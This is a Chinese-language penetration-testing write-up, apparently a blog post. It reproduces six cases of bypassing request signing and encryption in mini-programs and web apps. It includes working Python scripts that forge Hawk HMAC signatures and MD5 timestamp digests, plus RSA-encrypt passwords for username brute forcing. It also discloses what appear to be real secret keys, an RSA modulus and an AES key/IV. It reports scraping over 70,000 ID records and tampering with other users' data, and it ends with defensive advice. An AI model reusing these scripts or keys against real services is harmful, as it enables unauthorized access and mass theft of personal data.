手把手拆解:小程序/Web端加密鉴权绕过案例全复现
字数 1466 2025-12-02 12:01:47

小程序/Web端加密鉴权绕过技术详解

概述

本文通过六个真实渗透测试案例,深入剖析小程序与Web端常见的加密鉴权机制,详细演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接管。

案例一:Hawk协议鉴权绕过

漏洞背景

在对某小程序进行测试时,发现接口使用personalid参数返回用户信息。初步尝试修改ID进行越权测试时,发现存在时间戳(ts)、随机数(nonce)和MAC签名校验机制。

加密机制分析

  1. 请求参数结构

    var o = {
      ts: a,                    // 时间戳
      nonce: i.nonce || e.utils.randomString(6),  // 随机数
      method: n,                // 请求方法
      resource: r.resource,     // 请求资源
      host: r.host,             // 主机地址
      port: r.port,             // 端口
      hash: i.hash,             // 哈希值
      ext: i.ext,               // 扩展参数
      app: i.app,               // 应用标识
      dlg: i.dlg                // 代理标识
    }
    
  2. MAC签名生成逻辑

    c = e.crypto.calculateMac("header", s, o)
    h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"'
    
  3. 核心加密函数

    e.crypto = {
      calculateMac: function(t, r, n) {
        var i = e.crypto.generateNormalizedString(t, n);
        return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64)
      }
    }
    

密钥发现

通过搜索配置文件发现密钥位置:

key: "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3"

攻击脚本

import base64
import hmac
import hashlib
import time

def generate_normalized_string(header_type, artifacts):
    """生成 Hawk 规范化字符串"""
    n = f"hawk.1.{header_type}\n"
    n += f"{artifacts['ts']}\n"
    n += f"{artifacts['nonce']}\n"
    n += f"{artifacts['method'].upper()}\n"
    n += f"{artifacts['resource']}\n"
    n += f"{artifacts['host'].lower()}\n"
    n += f"{artifacts['port']}\n"
    n += f"{artifacts['hash']}\n"  # 空字符串
    n += "\n"  # 无 ext 参数
    return n

def calculate_mac(credentials, artifacts):
    """计算 Hawk MAC 值"""
    normalized_str = generate_normalized_string("header", artifacts)
    key_bytes = credentials["key"].encode("utf-8")
    msg_bytes = normalized_str.encode("utf-8")
    hmac_digest = hmac.new(key_bytes, msg_bytes, hashlib.sha256).digest()
    return base64.b64encode(hmac_digest).decode("utf-8")

# 使用示例
credentials = {
    "id": "wasx",
    "key": "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3",
    "algorithm": "sha256"
}

artifacts = {
    "ts": int(time.time()),
    "nonce": "6a0d5d576135004ead6cf4795e5b6112",
    "method": "GET",
    "resource": "xxxx/List/QueryByPersonalid?personalid=668223",
    "host": "xxxxxxx",
    "port": "443",
    "hash": ""
}

calculated_mac = calculate_mac(credentials, artifacts)
print(f"计算 MAC: {calculated_mac}")

攻击效果

通过此脚本成功绕过鉴权,遍历获取7万+身份证信息。

案例二:MD5时间戳校验绕过

漏洞背景

在某预约功能中,发现personCode参数可返回个人信息,但存在时间戳校验机制。

加密机制分析

  1. 参数提取逻辑

    var n = a.domainUrl(o.domain).match(/[^/]+$/)[1]  // 提取域名最后路径
    u = o.url.includes("?") ? o.url.split("?")[0] : o.url  // 去除查询参数
    
  2. digest生成逻辑

    digest: t.hexMD5("/".concat(n, "/") + u + s).toUpperCase()
    

攻击脚本

import re
import hashlib
import time

def calculate_digest(domain, url, timestamp):
    # 提取domain的最后路径片段
    match = re.search(r'/([^/]+)/?$', domain)
    if not match:
        raise ValueError("Invalid domain format")
    n = match.group(1)
    
    # 去掉URL的查询参数
    u = url.split('?', 1)[0]
    
    # 拼接字符串
    s = f"/{n}/{u}{timestamp}"
    
    # 计算MD5并转大写
    return hashlib.md5(s.encode('utf-8')).hexdigest().upper()

# 使用示例
domain = 'xxxxx'
url = 'xxxxx'
timestamp = int(time.time() * 1000)  # 获取毫秒级时间戳
digest = calculate_digest(domain, url, timestamp)
print("digest:", digest)

案例三:RSA加密登录绕过

快速定位加密点方法

  1. XHR断点定位:在开发者工具中对XHR请求设置断点
  2. 调用栈分析:通过调用栈向上追踪找到加密参数
  3. 加密函数识别:定位到具体的加密函数实现

RSA加密分析

  1. 公钥设置

    rsa.setPublic(modulus, exponent)
    
  2. 加密流程

    var m = pkcs1pad2(text, (this.n.bitLength()+7)>>3);
    var c = this.doPublic(m);
    var h = c.toString(16);
    if((h.length & 1) == 0) return h; else return "0" + h;
    

攻击脚本

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

# 设置公钥的模数和指数
modulus_hex = "B87A3BE2184FED0973FFB0B02A862DCAD15A1A29172EC8FF67E841FE26749A6AA04E48E9B02D963ED81DCE2B0086C034F7D47CCBACF8539C36B9445ABA5EF484F3CA32593762641B4C9683C79801D087198370D5719BB4E422FADAA4D883D13874DE67D8B6E883EBAACC53A8480F41EE8BE70D2F70BECF3CB7F1023D2C901CC3"
exponent_hex = "10001"

# 将十六进制字符串转换为整数
n = int(modulus_hex, 16)
e = int(exponent_hex, 16)

public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key(default_backend())

def rsa_encrypt(plaintext, public_key):
    ciphertext = public_key.encrypt(
        plaintext.encode('utf-8'),
        padding.PKCS1v15()
    )
    hex_ciphertext = ciphertext.hex()
    if len(hex_ciphertext) % 2 != 0:
        hex_ciphertext = '0' + hex_ciphertext
    return hex_ciphertext

# 使用示例
psw = "111111"
encrypted_psw = rsa_encrypt(psw, public_key)
print(f"加密后的密文: {encrypted_psw}")

攻击效果

通过固定密码爆破用户名的方式实现未授权访问。

案例四:密钥泄露导致的鉴权绕过

漏洞背景

在数据包中发现RSA加密密钥,结合账户鉴权参数account的加密实现,实现权限提升。

攻击过程

  1. 密钥发现:在请求响应中发现加密密钥
  2. 加密函数分析
    function encrypt(username, privatKey) {
      const encrypt = new JSEncrypt();
      encrypt.setPublicKey(privatKey);
      const encrypted = encrypt.encrypt(username);
      return encrypted;
    }
    
  3. 控制台直接调用:在浏览器控制台中直接调用加密函数
  4. 权限提升:使用管理员用户名加密后实现越权访问

攻击效果

成功获取数万条敏感数据。

案例五:小程序动态调试修改数据

漏洞背景

小程序注销功能使用POST方式传输加密数据。

攻击方法

  1. 路由定位:根据功能路由找到对应的加密点
  2. 动态调试:通过JS逆向调试工具动态修改参数值
  3. 实时加密:利用小程序自动生成密文的特性,修改手机号参数

技术要点

  • 使用调试工具直接修改内存中的参数值
  • 利用程序自动加密机制生成合法密文
  • 绕过前端校验实现未授权操作

案例六:AES加密数据篡改

漏洞背景

小程序用户信息保存功能使用AES加密,响应中包含用户ID(yhgrid)。

加密分析

  • 加密算法:AES-CBC-ZERO
  • 密钥与IV:UKU0m5xBbOa/Lz==
  • 数据传输:URL编码

攻击过程

  1. 断点调试:对修改用户地址信息接口进行调试
  2. 参数识别:定位到grid参数为用户标识
  3. 数据篡改:修改grid参数为其他用户标识
  4. 重放攻击:发送修改后的加密数据

攻击效果

成功修改其他用户信息,实现横向越权。

技术总结与防护建议

常见漏洞模式

  1. 密钥硬编码:密钥直接写在代码或配置文件中
  2. 算法可逆:加密算法被完整逆向
  3. 参数可预测:nonce、ts等参数缺乏随机性
  4. 校验缺失:缺乏完整的签名验证机制

防护措施

  1. 密钥安全管理

    • 使用硬件安全模块(HSM)
    • 实现密钥轮换机制
    • 避免密钥硬编码
  2. 增强加密强度

    • 使用非对称加密进行密钥交换
    • 采用强随机数生成器
    • 实现完善的前向安全性
  3. 完整校验机制

    • 多重签名验证
    • 时间戳窗口限制
    • 请求重放检测
  4. 代码安全

    • 代码混淆与加固
    • 定期安全审计
    • 安全开发培训

核心结论

加密本身并不等同于安全,其有效性完全依赖于密钥管理、参数时效性与实现细节。任何环节的疏漏都可能导致整个鉴权体系的失效。

小程序/Web端加密鉴权绕过技术详解 概述 本文通过六个真实渗透测试案例,深入剖析小程序与Web端常见的加密鉴权机制,详细演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接管。 案例一:Hawk协议鉴权绕过 漏洞背景 在对某小程序进行测试时,发现接口使用 personalid 参数返回用户信息。初步尝试修改ID进行越权测试时,发现存在时间戳( ts )、随机数( nonce )和MAC签名校验机制。 加密机制分析 请求参数结构 : MAC签名生成逻辑 : 核心加密函数 : 密钥发现 通过搜索配置文件发现密钥位置: 攻击脚本 攻击效果 通过此脚本成功绕过鉴权,遍历获取7万+身份证信息。 案例二:MD5时间戳校验绕过 漏洞背景 在某预约功能中,发现 personCode 参数可返回个人信息,但存在时间戳校验机制。 加密机制分析 参数提取逻辑 : digest生成逻辑 : 攻击脚本 案例三:RSA加密登录绕过 快速定位加密点方法 XHR断点定位 :在开发者工具中对XHR请求设置断点 调用栈分析 :通过调用栈向上追踪找到加密参数 加密函数识别 :定位到具体的加密函数实现 RSA加密分析 公钥设置 : 加密流程 : 攻击脚本 攻击效果 通过固定密码爆破用户名的方式实现未授权访问。 案例四:密钥泄露导致的鉴权绕过 漏洞背景 在数据包中发现RSA加密密钥,结合账户鉴权参数 account 的加密实现,实现权限提升。 攻击过程 密钥发现 :在请求响应中发现加密密钥 加密函数分析 : 控制台直接调用 :在浏览器控制台中直接调用加密函数 权限提升 :使用管理员用户名加密后实现越权访问 攻击效果 成功获取数万条敏感数据。 案例五:小程序动态调试修改数据 漏洞背景 小程序注销功能使用POST方式传输加密数据。 攻击方法 路由定位 :根据功能路由找到对应的加密点 动态调试 :通过JS逆向调试工具动态修改参数值 实时加密 :利用小程序自动生成密文的特性,修改手机号参数 技术要点 使用调试工具直接修改内存中的参数值 利用程序自动加密机制生成合法密文 绕过前端校验实现未授权操作 案例六:AES加密数据篡改 漏洞背景 小程序用户信息保存功能使用AES加密,响应中包含用户ID( yhgrid )。 加密分析 加密算法:AES-CBC-ZERO 密钥与IV: UKU0m5xBbOa/Lz== 数据传输:URL编码 攻击过程 断点调试 :对修改用户地址信息接口进行调试 参数识别 :定位到 grid 参数为用户标识 数据篡改 :修改 grid 参数为其他用户标识 重放攻击 :发送修改后的加密数据 攻击效果 成功修改其他用户信息,实现横向越权。 技术总结与防护建议 常见漏洞模式 密钥硬编码 :密钥直接写在代码或配置文件中 算法可逆 :加密算法被完整逆向 参数可预测 :nonce、ts等参数缺乏随机性 校验缺失 :缺乏完整的签名验证机制 防护措施 密钥安全管理 : 使用硬件安全模块(HSM) 实现密钥轮换机制 避免密钥硬编码 增强加密强度 : 使用非对称加密进行密钥交换 采用强随机数生成器 实现完善的前向安全性 完整校验机制 : 多重签名验证 时间戳窗口限制 请求重放检测 代码安全 : 代码混淆与加固 定期安全审计 安全开发培训 核心结论 加密本身并不等同于安全,其有效性完全依赖于密钥管理、参数时效性与实现细节。任何环节的疏漏都可能导致整个鉴权体系的失效。